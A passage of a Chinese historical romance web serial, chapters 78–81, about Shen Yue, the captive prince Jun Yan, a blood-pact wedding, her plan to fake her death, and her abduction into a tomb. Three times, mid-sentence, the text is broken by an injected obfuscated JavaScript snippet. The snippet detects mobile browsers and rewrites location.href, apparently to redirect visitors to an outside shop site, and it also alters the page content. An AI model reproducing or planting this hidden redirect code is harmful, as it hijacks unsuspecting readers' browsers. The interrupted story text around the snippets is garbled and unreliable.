“我太想报复他了。所以你们要留在我身边,我也就任凭你们被牵扯进来为我所用。可这原本只是我和他之间的恩怨,我们迟早会有一个了断。 秦璐,你原是星月阁的人,跟在我身边也算合情理,可我还利用了你去报复他,现在我不想再这样下去了。你的忠心我是相信的,离了我你也能奔自己的前程去,你只管放心地走,你的去处我已着人为你安排好。 司云哥哥,你早就是有官身的人了,本不该老和我在一处。我既不能接受你的情意,又没法完全拒绝你的帮助,只因你我之间确有亲情,但这份亲情也一再给了你偏差的幻想,这是我的错处。 那两箱东西,权当是我对你们的一点谢礼。我从前也料想不到自己会为了报仇变成这样的人,将你们也牵连进来,是我之过。” “你这是说的什么话?”司云听了她一言,只感觉自己呼吸都要停止了,“我们都是心甘情愿的,你没有错,一点错都没有。你从前也和我说过我们之间不会有以后,是我执意要跟着你要帮你的,一切都是我执意的,你别怪自己……” 秦璐跟着也道:“是啊小姐,属下也是心甘情愿的。无论小姐要用属下做什么,都是属下的荣幸,您可千万别那样想。” “对于你们,除了表示感谢,我也不能再做得更多了。明天,明天你们就走吧……有些事拖得越久越难收场。往事已矣,此后我和你们,都不会再见面。” “夭夭妹妹!” “不必再说了。” 她这一回绝然的态度让司云感到了危险。 她与君琰之间纠缠太多了,这一回要让身边人全都置身事外,可见是真正做好了和他了断的准备,那个结局会是什么?她有些不敢去想。 “你们要是执意不走,我就走。” “小姐,您别这样。”秦璐心里难过得厉害,勉强挤出一个笑容来:“我们走,我们走还不成么?小姐要我们去哪里,我们就去哪里……” 78. 苏醒 君朝雨带着赫连雪第二次下江南来了。 上一回为探访民情,这一次是要视察水利、考察河工。 阖宫之中,风头无两的从来最数梦妃,皇后也不过是摆设而已,君朝雨除了让她直接住在紫宸殿,平日里还会教她兵法国政,越发如胶似漆。只是有一点他们彼此都知道,那就是她得吃凉药,不能有子嗣。 来到浙江,便又想起他那曾经威风八面的九弟,不忍故地重游,又忍不住要故地重游,一番慨叹,物是人非。 “前几天有暗探地上情报,说发现了七星后人的行踪,朕犹豫来犹豫去,一时竟不知该怎么做。九弟生前朕答应过他不开天机库,现在他人已经走了,朕还要信守这个承诺么?” “一切但凭陛下本心而已。不过妾身以为,这东西还是忘记了的好。” “此话怎样?” “实不相瞒,前几个月燕国皇帝与妾身写家书,也提到了这件事,妾身也是这样劝他的。天机库谶言,百年都未曾消歇,一代代君主为找这个东西不知赔了多少人力财力进去,到头来也是竹篮打水一场空。退一步说,即便真打开了,有了那东西也未必是好事,说不准四个国家都会一起毁掉。陛下是高瞻远瞩的贤明之君,该比妾身更知道其中厉害,所以才会犹豫,不是吗?” 她对自己倒是毫无隐瞒,他想。现在她说的话,正与他之前得到的情报不谋而合,她确实也劝了燕国君主放弃此念。 “原本是打算这样的,只是一有情报来了,朕这心里又有些痒痒。就像之前沈月的事情一样,朕因为九弟一直摇摆不定,事情最后却落得那样的收场。” “陛下日理万机,要考虑的太多,要平衡的也太多,纠结犹豫非陛下之过,反而是深思熟虑的表现,是不是?”她抬手轻轻将他的一缕发丝绕到耳后,目光缱绻如春。 “哎……那便罢了。不过这东西朕放弃了,其他人也不可肖想。” “这是自然的。燕国那边有我呢,南疆和西戎之前一败暂时还没那个实力,陛下也不去要,这谶言过个十几年自然就会消弥了,到时也算是陛下的功德。” “……但愿如此吧。” 地下宫殿里几乎没人了。 沈月守在君琰身边等他醒来。 有些无聊,她拿了他的笛子来吹,不会,只发出几声残音,榻上的人似乎听见了,手指微微动了一下,眼睛却还是没有睁开。 不得不说司云哥哥这毒下得有点狠,她解毒还很费了一番功夫,怕自己一个没看住他真的死了,只得日夜都守在他这里。 这里的白天没有和煦的暖阳、碧蓝的天,晚上也没有皎洁的月、疏淡的星,有的只是偌大的空间内微茫的灯火,灯火晕成了繁热的光圈照着黑暗里的人,她心里带着几分涩意、几分清冷、几分柔软,回想着与他之间的一切。 算来他待在她这里,也已经有八十九天了。 时间过得真快,这几十天里,她对他各种摧折玩弄,他竟也都坦然受之,没有不满也没有反抗,唯有妒忌。 等到了第一百天,血契就要应验了。 第九十二天他终于醒了,刚醒时气色还是很虚弱,那毒委实不轻,她又给他用了些药、漱了口、吃了点东西,脸色才勉强看上去好一些。 他醒来,发现她竟一个人待在他身边,周遭寂静如水,瞬间觉得情势有些变化,便欲询问。 “这毒不是我给你下的。你信也好不信也好,我就这句话。”她又端来一碗药,“喝了。” 他欲言又止,接过她拿来的药,二话没说一饮而尽。这碗药好生清凉,饮下去感觉喉咙都润了起来。 “我让他们都走了,这里如今不剩下几个人。我说过你做我的下人满一百天我就真的嫁给你,这话不假。”那双翦水秋瞳凝视着他,却早已没了昔日的灵气,有的只是空落,“今天是第九十二天。” 君琰身上一丝力气也没有,如今他也渐渐失去了那种欣喜的劲头,看着她,好像自己昏睡的这几天又没见到她因而想念非常,要将她的每一根头发丝都瞧得清清楚楚。 他不说话,只是看她,她也不觉疑惑,继续说道:“你的毒差不多解了,第一百零一天我就会给你解药,放你走,约莫一个月内可以恢复武功,到时你想去哪里就去哪里。至于娶我这件事,若你不想了,我这里亦是无妨的。” “想。”他轻轻抬起了手,至一半又僵住了,悬在那里,好想有许多话想和她说。 她这时瞧他的目光,又与方才不同了,从那片空落中泛起了一丝伤感,宛如寂静的湖面里被投下一颗石子…… 沈月抓住他的手放了下去。 “有些话我得提前告诉你。 成婚之后,我会是一个没有喜悲、不知你意的空心人。” “嗯……” “只是你房中的摆设。” “……嗯。” “你还可以再娶几房美妾。” 他盯着她。 “别这样看着我,我说的是真心话。” “真心话吗……”他抬起那只没有力气的手,轻柔却也倔强地抓住了她的手,将她轻轻一拉近前来了,双目有些湿润,那双从来冰冷迫人的眼睛,在这一刻如坠入黑暗迷障。“那你看着我的眼睛,再说一遍。” “我说——”她依言照做,凝视着他破碎般的琉璃眼瞳,“婚后你可以再娶几房美妾,我不会介意的。” 他一直抓着她的手没放,眼中光亮随着她这句重复的话,又一点一点地消散了。 “既然如此…… 你为什么又要救我呢?” 他不理解她看着他中毒受伤却又救他只为玩弄折磨,正如她不理解他伤她负她又为她愿意付出性命是为什么,两人之间如隔云烟、如隔轻纱,始终只有那么一层,却谁也捅不破,伸手想将那纱帘拨开,却是越拨越乱。 “因为你是我的仆人,我要对你做什么都是只凭心情。” “那这样看来,我的运气还是很好的,这么多次都大难不死……还得多谢你每次都心情这么好,嗯? 沈月。 与其这样被你玩弄,我真的宁愿你直接杀了我,或是毒死我。” “是啊。”她却蓦地笑了,“你是这样的想法我难道不知道吗?正因如此,所以我才要做出让你更难受的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304571|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择啊。” “你……”他无奈地叹了一声,阖眸一瞬,再睁开时他看到了她不同于从前的笑容,那笑里是带着泪的。 “怎么样,你现在是不是可以相信,从前的洛夭夭确实已经死了?” “不。”他却给了她否定的回答,抬手轻轻给她拭泪,一如最初…… 他知道她口中的区别指的是什么。 洛夭夭清秀,沈月漂亮;洛夭夭天真,沈月复杂;洛夭夭孤身一人,沈月众星捧月;洛夭夭柴米油盐,沈月十指不沾阳春水;洛夭夭一身素衣,沈月华服百千;洛夭夭盼望他,沈月憎恨他…… 可在他心里,洛夭夭和沈月始终都是她,唯一的她,她会不顾感染的风险去瘟疫现场治病救人,会爱憎分明地将所有的感情都施予同一人,也会无论面对何种处境都韧如小草般活着,去爱、去恨。哪怕山穷水尽也不会轻言生死的,是她。 君琰此刻的神情让沈月有些看不懂了。就好像,她现在说的话根本不能打击到他了。 “无论她是死了还是活着,我都会把她给找回来的。所有的事都是我的错,我会用尽所有去弥补,哪怕这样会痛苦一生,这也是我欠她的。” “我不是她。”她依然倔强地说,“而她,已经不需要了。” “要是真的不需要,又为什么不放过我?我知道你只是想要一个解释……相信这个解释,过不久就会有人给你的。” “是吗?你口中的‘过不久’是多久?” “我不知道。但是好像,皇上又来浙江了。” “你怎么知道的?” 他眼神示意了一下,“那桌上,给你的情报。” 她这才发现桌上的情报信,忙过去看了。 扭头又看他:“眼力不错,这上边的字都能看见。” “夭夭。”他的声音又有些沙哑了,整个人都透着疲倦,已不复最初的霸道和意气,仿佛被人蹂躏过后的破碎之玉,恹恹待在角落里,呼唤着他一直珍视的曾经。 “你是怕皇上来了,你再娶我会被发现?”她走过来说,“又为什么要让人知道呢?或许,你在这里娶我也可以。” 她指的是这座地下宫殿。 君琰知道第六次娶她以后两人双双坠崖,他被她抓来关在这里之后,外面的人都以为他们死了。 皇兄应该也是这样认为的。 所以,如果他们忽然“复活”,让皇兄弄明白了事情的前因后果,其后果可以想见——夭夭怎么着也是个欺君之罪,他就算再有什么能耐,也没可能护住她了。 “那我们就换两个身份。”他却提出了新的建议,“以新的身份去嫁娶,去生活。” “新的身份?” “我那几个属下还是可以知道的,他们不会说出去,让他们帮我们做两个假身份不难,我们依然可以走在阳光下。我要娶你,就必须光明正大地娶你,岂能委屈在这地下宫殿里成婚?就算你愿意,我也不愿。” 她笑了,笑得有些苦涩,也有些勉强,“我无所谓,就交由你做主吧。” 他的眼睛里恢复了一点光亮…… “信我。” 79. 血吻 “信你……”她轻柔重复了他的话,欺身上前,抬手,指尖轻轻放在他下巴处,眼眸中重新出现了灵动之光…… 他有些讶然地观察着她神色的变化,忽然听见她轻轻地说—— “君琰,我原谅你了。” 时间仿佛随着她这句话静止了,他恍惚了好一阵子。 “你说什么?” “我说我累了。”她的手滑落了下来,落在他腿上,“我决定,放过你了。” “你……” “字面意。”她看着他,眼波柔情缱绻,“被我折磨了这么久,你也累了吧?” 他深深看着她,仿佛是在梦中……然下一瞬,无比的担忧又涌上心头来,她的意思若是说不再恨了,那便是既无恨也无爱的陌生人吧?陌生的,夫妻? 她观察着他的神色,不知为何自己说要放过他以后,他的脸上反而是那种失落的神情,并没有什么欣喜……他显得更加紧张了。 或许他从始至终想要的,都并不是她的放过,他是想要重新挽回她的心。 “我近来一想到王府中的日子,便是喜悲两重天,我记得你冷落我的那些时日,记得你对我说过的每一句剜心之语,可也会记得我们初相遇的时候。‘人生若只如初见’,多好。可惜你是带着目的来找我的,我们的相逢从一开始就不单纯。” “这点你说得没错。我确是带着目的来找你的,我利用了你的医者仁心,来接近你……” “我死过一次之后,你也付出了同等的代价,所以我准备原谅你了。你从前做过什么我不计较了,也会遵照血契嫁给你,只是以后我们再别想交心,因为哪怕是现在,我也已经努力过了,是你执意不肯把一切都告诉我,那么将来哪怕你想说了,我也不会再听了。” 他听明白了她的话,笑得无奈且苍凉……“这样,也好。” “有件事我可以对你坦白。”她站在那儿说,“秦璐和司云都走了,是我让他们走的,因为我对他们不起。” “你对不起他们?什么意思?” “我从来只是把他们当成报复你的工具。” “……啊?” 这句话让他震惊了许久都没缓过神来,正要怀疑其可信度时,又听见她接着说: “爱也好恨也罢,我在意的从来都只有你一个人,但是从今往后,这份在意不会再有了。你我之间的孽缘,随着第七次的婚礼,也就到此为止吧。” 她脸上的神情,昭示着她说的话并不是假的。 他心中莫名一阵汹涌,各种情绪五味杂陈,撕扯得他要裂开了。暂时放过有关那两个情敌的事,他说: “那你为何还要嫁给我,做名分上的夫妻?那个血契你当初就不该立!即便没有它,别说伺候你一百天,伺候你一辈子我也是愿意的。” “婚姻嫁娶便是你我这场孽缘的坟墓。如果你现在又后悔了,我也可以奉陪,但需要你我分别去手来终止这场血契。”她说着拿出了刀,“你要愿意的话,我也是不怕疼的。” “……不!你何苦要折腾自己呢?嫁给我就那么不好?!”他上前夺去了她手里的刀,“我到底该怎么做,要怎么做……” 刀“哐啷”一声掉在了地上,他上前抱住她,不容她抗拒,一只手轻轻环到她后脑勺,安慰似的抚摸着,“不要这样。你可以报复我,但不要伤害自己。既然你说原谅我了,又为什么不愿意再给我一个机会?” “我没办法……” “不,你有办法。相信我,我们都会有办法的。”他说至动情处,忽上前封住了她的唇。 凉薄的唇瓣擦过她柔软的樱唇,舌头霸道撬开了她的牙关。她好容易才缓过神来,见他如此,心头又是一阵酸楚,一下子咬下去……他口角流出了血,却依然没有松口,甜腥的味道顺着流过喉/结处,滑落到锁/骨。 于是她尝到了他的血。心头梗塞难言,在触到他血的那一刻又起了一层怜心,既甜且痛的滋味在她心间蔓延着、纠缠不休,她终于像初见时那样,鬼使神差地回吻了他一次。 这个回吻好像激起了他的信心,他将她搂得愈发紧,唇齿相依间,紧闭双眼,似连她的呼吸都要攫取了去…… 算了。 她心想。 就这一回。 最后一回了。 大殿的灯火摇曳不灭,葡萄躲在角落的一个纸盒子里已经很久了,一双海蓝宝大眼睛看着他们,静静的没有发出一点声响,显得十分乖巧。若是没人刻意去找,只怕都不知道它藏哪里。 这两个人之间总是很奇怪,时好时坏,今天为什么又贴在一起了呢?葡萄想着,难道是因为谁打猎获胜了,得到另一个人的奖励? 不,他们是“人”吗…… 也许只是两只大猫而已。 猫阿爹,猫阿娘。 如果他们不是自己的爹娘,那自己的爹娘是谁呢?它今年才一岁大,有记忆以来看到的人就是他们。 嗯,阿爹阿娘今天看上去心情还蛮不错的。是不是等会儿会来给自己加肉肉吃? 它想着满足地打了个大大的哈欠,软软的小脑袋一耷拉,整只猫都彻底缩到纸盒里去了。 夭夭想起了上次的事情。 那次他听了司云的话,鬼使神差地割血给她做药引,被她打翻了药。 而今她却还是尝到了他的血。 摩挲了许久,她的唇也破了…… 两个人的血流到了一起。 太久了,她要喘不过气来了,咬他竟然没用,下多狠的嘴也不能叫他松口。 一抬手就推开了他。 他如今毒刚解,没有武功,身子也不如从前好了,猝不及防被她一推就松开了,她抬手直接用手背擦了把唇边的血,看着他。 上一次与他拥吻,还是在她未被伤透心的时候,中间已不知过去多久了……他的怀抱、他的唇,依旧和从前一样,只是比从前多了几分求而不得的凄凉。 “这八天,你想要怎么度过?”她问他。 君琰拿出干净的手帕,擦去唇角的血,“你有什么计划吗?” “自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314725|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有,我是问你的意愿。” 若她的计划不错,这剩下八天就是她与他最后相对的日子了。从今往后,他们将两相忘。 “我能有什么意愿……我唯一想要的,不过是你。” “那我满足你。”她应下,“你想做什么,我都会陪你的。” 他一时有些不敢相信自己的耳朵,然事出反常必有妖,心里有了不祥的预感,他问:“为什么忽然对我好?你不是还说婚后只做名分夫妻么?” “一百天没到,你现在仍是我的下人。”她的语气一如既往:“既是下人,有何权利来问主子原因?给你的恩赏你接着便是。” “其实不急在这一时的。”他仍然想弄个清楚,“等以后我们还有一辈子。” “有一辈子的孤冷和疏离。”她上前说:“时间可以无尽流逝,世间却再也不会有从前的君琰和洛夭夭了。” 他叹了口气…… “不过你也别灰心丧气,至少我已经决定放过你了。”她转身拿了一个小木盒过来,打开,从中取出了一粒药,“吃了。” 他接过毫不犹豫地吃下。 她笑了。他总是这样,只要是她递来的东西,问也不问就会直接吃。 “这颗药八天以后起一半的效果,八天后我还会给你另一粒药,服下后一个月功力可以恢复,这一个月的时间里你也可以去联系你的旧部,去做那个假身份的事儿。” “谢……”他欲言又止。 自己什么时候也需要和她说谢谢了吗…… 当真如她所言,疏离至此? “婚期就定在第一百三十一天吧。 到了那时,我再嫁给你,便不会再有心了。所以这八天,无论你想做什么,我都会满足你。” 他越发有些看不懂了…… “无论做什么?” “无论做什么。” 她走到旁边,转了一下墙壁上的机关,一时间大殿中所有的灯烛顺次熄灭……光芒从幽暗直至于无。锁在纸盒里的葡萄好像感受到了异常,疑惑地醒了过来,东看看西看看,“嗖”地一下从纸盒里跳出来了。 “喵喵喵?”(怎么忽然黑了?) “喵?”(人呢?人都跑哪里去了?) “夭夭……”他不易她忽然关灯,通过辨声找到了她所在的地方,走过去,拉住了她的手。“我说过,不急在一时……” “这是你最后的机会。”她却说,“我们婚后,就只是名义上的夫妻。” 他有些头疼。“……一定要这样说吗?” 黑暗中她环绕着他走过,如兰般的呵气声飘到了他脖颈处,连带着挠得他心里也泛起了一阵痒。 忽又想起上次受此煎熬的滋味了。 他转过身将她拽到怀里来。 黑暗中彼此都看不清对方的脸,但他能通过气场感知到她现在的神色……一点温热忽滴落在了手背上,分不清是血还是泪,她配合地伸手搂住了他的脖颈。 于是他将她打横抱起了,摸索着朝那个熟悉的方向走去。 80. 长夜将尽 黑暗中只能依靠触觉,便如她眼睛受伤的那几天一样。温柔的摩挲、亲昵的爱抚与低喘声静静在黑暗中蔓延开,她似已随之走到了世界的尽头,再往前,便是等着随那可能出现的一线天光永登无极。 如此三番,到第八日…… 她将第二颗解药拿给他,脸上笑意朦胧,“恭喜你,终于可以出去了。吃下这第二颗药,一个月后你就会完全恢复。” 他的大手从外包住了她的小手,将药丸拿走,直接放入口中,眼睛微湿:“等我。” 之前被她救过的女死囚来了。君琰已经走了,沈月目送着他的背影,那死囚则站在她背后看着她,片刻后,“噗通”一声跪了下来。 “小姐的大恩大德,我万死难报,若小姐当真没有什么要我帮忙的,还请予我一杯毒酒或一根白绫,我好上路去陪我爹娘。” 长发遮住了她的脸庞,身上穿着一件还算干净的衣服,那身量却和她十分相似。 月前沈月活动人手救了一名牢狱中的死囚,她家犯了灭门的罪,等待抄斩,获救于星月阁。 她心中很是感激,却因家人皆去,自己也早就了无生意,之前听人说沈小姐一直忙碌无缘见她,眼下小姐身边那人走了,她终于可以出来。 “把头发撩起来。”沈月转身对她说。 女孩依言照做。 “你当真报了死志么?” “千真万确,请小姐成全。” “那好,你帮我个忙吧。” 女孩眼睛一亮,“若能在死前报答恩人,那是再好不过的了。恩人请说。” 当初救她原不是刻意的事,只是因发现这人无辜,救出来以后却发现她身量与自己一般无二。 只是好容易救了个无辜的人,她自己却又了无生意,也算是白忙活一场了。 “好容易逃过鬼门关又不想活下去了,你不觉得很亏吗?”沈月问她。 “不亏!至少我将爹娘好生安葬了,至少我多了点时间去完成他们的遗愿,这于我而言已经足够,都是因小姐的大恩大德,请您说出所求吧,我一定尽心竭力报答您。” “我这个忙并不好帮。你先听听,听完了若要拒绝也是可以的,我会另想他法。” 沈月幽幽道:“我要你易容后,代替我去成婚。” “成婚?” “但你要在婚礼当天死亡。其实就是比你现在寻死更推后了一段时间而已。你只是换了一种方式去死。” 她终究还是做不到坦然从容地嫁给他。 即便他已有悔意,即便他已愿为她奉上一切。 所以,就干脆让他认为自己死了吧。如此便可结束这一切,也是给她自己模糊的念想一个了断。 这个计划八天前天她就已经想好了,所以才在那时想到了交付自己。他所说的“还有一辈子”,在她看来不过是虚妄一场。 他确实曾负她真情,也确实从始至终不肯告诉她全部的真相,他这般选择,她又如何能做到彻头彻尾地不介怀? 女孩想了想,“我明白恩人的意思了,这不难,交给我吧。” “你可还有什么愿望吗?” 女孩的嘴角漾出了笑意:“没有了。恩人,这样也很好,等我报答了您的恩情,就可以去地底下与父母团聚了。” 空气里似有一声叹息…… “他会将你好生安葬的。” “他?” “还没告诉你,你要代我去嫁的,是九爷。” 空山新雨后,君琰来到白茫山大柳树下的房子里,看见破月马正在那儿吃着东西,眼眶一热,走了过去。 伸手抚摸着马背,似乎是也想到了自己的爱马,“你主人呢?” 许久未见,破月却还认得他,亲昵地将脑袋凑过来,蹭了蹭他的手心。 这个地方的存在,来自他与四堂主之间不成文的规定——若有朝一日断联失散,来日要寻人便到这里汇合。 这一百天的时间里,不知他们怎么样了。 正想着,便见旧人身影,陆云从门外走进来了,看到他时一惊。 “公子——!” “公子你真的没死!我就说,我不信你死了……” “你们还好吗?” “我们……”陆云瘪了瘪嘴,“能怎么样,谁也不信公子死了,活不见人死不见尸的。” “有什么话过几天再说吧,现在帮我去上两个身份,一个是希诺城城主之女,一个是李中丞家的公子。另外,让琉璃和李嬷嬷到浙江来。” “噢,我这就去给她们传信。城主和李中丞那边的事情也不难办,不过公子,您要用这身份来做什么?” …… 他们当年的命是九公子救的,另外作为下属,本也无法质疑公子的决定,便是对沈月心生杀意却也不能真的下手。 好累,身心俱疲。 却也乐此不疲。 那八天好像就是他们往后的一辈子。 转眼间君琰就已离开半个月了,夜深时分,沈月在殿内整理东西,一应重要物品单独放在一起,不重要的就不管了。葡萄显得有些不安分,在屋里到处上蹿下跳的,不时会停下来盯着她看一会儿,待她看向它时,又假装去看别处。 是啊。她忽然想到这个问题,葡萄怎么办? 小猫咪是无辜的呀。 “小姐。”静儿抱起了葡萄,站在她身边。 “多谢你照顾我了静儿,从今天起,你也可以走了。” “小姐要遣散身边所有的人么?您到底要去干什么?一定不是又要嫁给九公子吧。” “星月阁后继有人,我这头的事情也会迎来了断,即日起我会退出星月阁,便不再是你主子,你无需再伺候我。葡萄就交给你吧,我看它挺喜欢你的。” “……小姐!” “回去吧,回到你从前的生活中。” 葡萄蹲在静儿脚边,睁着它那大眼睛看着沈月,“喵喵喵?” “小姐,先阁主对我有恩,您是他的义女,奴婢不能这样一走了之啊。好歹主仆一场,小姐到现在还是不肯相信我?” “不是不信,而是有些事儿不说出来更好。我和他之间纠缠太多,早就影响到身边的人,现在这件事应该了断了,所以” “小姐……”静儿没再多言了,沉默了许久,抱着葡萄,跪下对她磕了三个头,随后那背影转身,消失在了空寂的大殿里。 “都走了好,我也应该走了。”她看着殿内最后一星烛火,露出了释然的笑。 正离开时却有人来了,带着上次她给赫连雪的银簪信物。 “小姐曾说过凭此信物任何时候都会出手相帮,不知可还作数?” 她一眼就认出了自己的东西。 “自然作数。怎么,赫连雪公主遇到什么困难了吗?” “半月后辰时一刻,至浮碧亭一叙。”那人带完话就走了,不给她再多询问的机会。沈月手中握着银簪,陷入沉思…… 近来皇上二次南巡,照例带了梦妃一起,她现在应该也在浙江。 原计划今夜就离开浙江,但她还欠赫连雪一个人情,如今对方需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328745|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要帮助,她自然不可能坐视不理。 那就先将这人情还了再走吧。 十五天后,她如约到了浮碧亭。辰时,月已升起,花木上浮着一层幽冷薄雾,身上有些凉意,她看着月亮等人。 许久却不见有人来,估摸着辰时一刻已经过了…… 是对方那边出什么问题了吗? 梦妃大概是要背着皇上来的,到底是什么事呢?有什么事是连她都做不了、自己却可以去做的? 忽然间口鼻前伸过来一只手,身后不知何时已站了个人。她心里顿时一阵警铃,却根本来不及反应…… 周围似乎在摇晃,呼吸也有些急促,耳边传来了一阵阵奇怪的声响,她的意识将醒未醒,挣扎着,努力动了动手指去触摸身下的东西,冷不丁摸到了一块光滑的棺盖面。 “?!” 这是哪里? 还未完全醒来,她有些茫然,自己这是掉在一具棺材上了? 耳边忽然传来了熟悉的声音…… “没想到,竟然是你……怎么会是你?”虽然他只在画像上看过她,但是…… ——是司云哥哥在说话! “没人告诉过你不要管吗?找死。” ——这道女声声音格外好听,让她感到一种怪异的熟悉与陌生。 “她被诓来,我不可能不管,即便是死,我也同她死在一起。” “咳咳。”接着是一拐杖戳地板的声音,一个有些苍老的声音对那女子说:“毒人都已检验过了,经过我们的调理,其功力又比原先大涨了几分,一会儿只待您令下,便让他们先行入墓献祭,打开墓室大门。” “你们到底要干什么?!”——是司云的声音。 “咳咳,你就是司公子?”那老者说:“你问我们要干什么,难道你一直以来,都不知道自己在与什么人合作吗?” 司云早已出了一背冷汗,不可思议地看着那老者吹着哨子,调出了上百个毒人,他们一个个像人又像鬼,手里拿着一把刀,迈着齐整的步调往同一个方向走去。 “司公子。”老者看向他来,“老身劝你一句,要不你现在就走,若是等会儿再想走,可就来不及了。” “……不,不行,”他一时间急了,“她呢?她在哪儿?!” 那女子笑了笑:“你竟会为她来这里,可见是真情,但今天洛夭夭你是带不走的,别白日做梦。当然,你若留下来也救不了她,最多就是与她同死。 不枉我费了这么大功夫花了这么久时间,终于能有今天,司公子若要阻拦,就也去做个毒人吧?” 她似是有意要表演给他看一番,忽叫停了那些毒人——“停!” 正在行进的百来个毒人齐刷刷停下了脚步。 “最后一排最边上两个人,将自己的脑袋砍下来。” “——唰!” 那两毒人没有分毫犹豫,两颗人头应声落地。 “看见了吗,司公子?他们在被炼成毒人以前,可也是活生生的人。你不介意的话,我们也可将你变成他们中的一份子。” 司云:“……疯了,这是丧心病狂!你们到底要做什么?……她到底在哪儿?” 那女子笑了笑,似也失去了和他说话的兴致,指了指上面——“就在你头顶上啊。” 司云猛一抬头。 高高的穹顶内悬着一具棺木,用粗壮的绳索系着,而她,就趴在那棺木盖子的上面。 沈月好一番挣扎,终于“啪”地一抬手—— 终于完全醒了,她瞬间警觉地坐了起来! 81. 庐山真面 三天前,清风半夜鸣蝉,赶路人即将抵达浙江。 “说来也是命运弄人,王爷这是第七次娶她了吧?” “现在该叫公子了,他已经不是王爷了。”琉璃拿了把团扇来递给李嬷嬷,又拿出干净手绢帮她擦汗。 “是啊,”李嬷嬷一双眼睛看着不知名的远方,“不做王爷了,也好,和洛姑娘一同逍遥自在去吧。” “嬷嬷……”琉璃想了想问:“你说公子这回让我们也要到场,是不是说明他已经打算把一切都告诉她了?” “她迟早应该知道,只是……哎。” 天上星河转,人间帘幕垂,二十四道大红帘帐随风微动,琉璃和李嬷嬷抵达婚礼现场时,是三日后的黎明。前六次他娶她的经过她们也都听人说过了,然琉璃现下出了感慨,亦生出了其他想法来。 “我始终觉得公子做得不全对。” “怎么?” “若真要瞒她到底,又为何不干脆顺势和她一刀两断;若真想和她在一起,那般仇恨横在中间又怎可能如愿?姑娘不是容易忘情的人,无论爱恨,所有的事若不让她知道清楚,只怕不论重来多少次,公子都还是会重蹈覆辙。” 李嬷嬷心头一紧,“你是说……” “嬷嬷,帮我个忙。”小琉璃拍了拍老人家胳膊,小声道:“我去去就回。” “你要去找她?” “我总觉得这地方不对,说不上来为何,或许是直觉……当年我便是这样看着他们一路过来,我知道我是公子的人,所以从来顺从,可现在已经第七次了,我总觉得该为他们做点什么。嬷嬷,公子这边还请您帮我稳住,我去和洛姑娘说说话,就回。” 小琉璃说完,便扭头跑走。 沈月等人此刻所处的地方,是一座古墓,墓里遍布着机关,不知是为藏住什么秘密。睁眼,起身,她发现这里很黑,四周围的光亮仿佛鬼火,上方的空间十分高大,下面站着三四个人,还有一排排没有脸的怪人,而她自己则处于一座悬空吊起的古墓上方。 “……司云哥哥?”一眼便看到了他,而后是他旁边的那位——“赫连雪?” 心下预感不详,下面的人也正好在看着她,她提高了声音:“你们,这是怎么回事?!” 司云恶狠狠地看向了赫连雪:“你快放她下来,放了她!” 街巷人家,在残阳斜照下被渡上暗沉的金光,地道内,三五人带着一条猎犬,举着灯火艰难而来…… “皇上不要担心,娘娘她吉人自有天相。”陈宠安慰着君朝雨,但这并没有什么用,他的脸色愈发凝重,擦了擦额角的汗水,咬着唇一言不发。 雪儿忽然消失了,连个招呼都没打,若非自己行程因受阻而有变,恐怕都不能在短时间内发现此事。 “皇上!”一路随行的侍卫离知忽然叫停,挡在了他面前:“这条地道当年修建是用来干什么的,皇上并非不知;它将通向何方,皇上也并非不知。就算这样下去当真可以找到娘娘,进了那个地方怕也是凶多吉少,皇上!” “离知。”君朝雨冷着脸,没有分毫要动摇之意,“你僭越了。” 对方跪下了,“若能护皇上周全,便是僭越也无妨,臣甘愿领罪。” “起来。”抬起脚踹了他一下,见对方纹丝不动,不由更恼:“起来!你聋了是不是?” “皇上!”离知继续道:“若皇上实在想要梦妃娘娘陪伴,臣等替您去找就是了,无论怎样,也一定把娘娘给您完好无损地带回来,还请皇上回去,不要以身犯险!” “你、你……!”君朝雨抬手…… 缓了片刻,方迫使自己平息几分。 “你的忠心朕知道,可若不能亲自将她找回来,你觉得朕这个皇帝当得还有什么意思?” “……皇上您变了!这样的话,以前您绝不会说出口。”离知抬眼与他对视:“若是娘娘在此,也定会劝您以自己为重,天下臣民不能没有您呐皇上!” “谁说朕去寻她就一定会送死了?!那地方以前没有人进去过,进去了也未必就会死!天下臣民朕要守,她,朕也要护住!”话音未落,“唰”地一下拔出了随身佩剑——架在了离知脖子上。 陈宠和其他几名亲随见状立马跪下了:“皇上开恩呐!离知也是为皇上着想……” “朕知道你不怕死,也无九族可诛。只是忠心又有何用?不听话的奴才,朕留着也是白搭。” “请皇上赐臣一死!”离知一声响亮的头磕在了地上,鲜血顿时流到了帝王脚边。 “……你在赌朕不敢杀你?!” 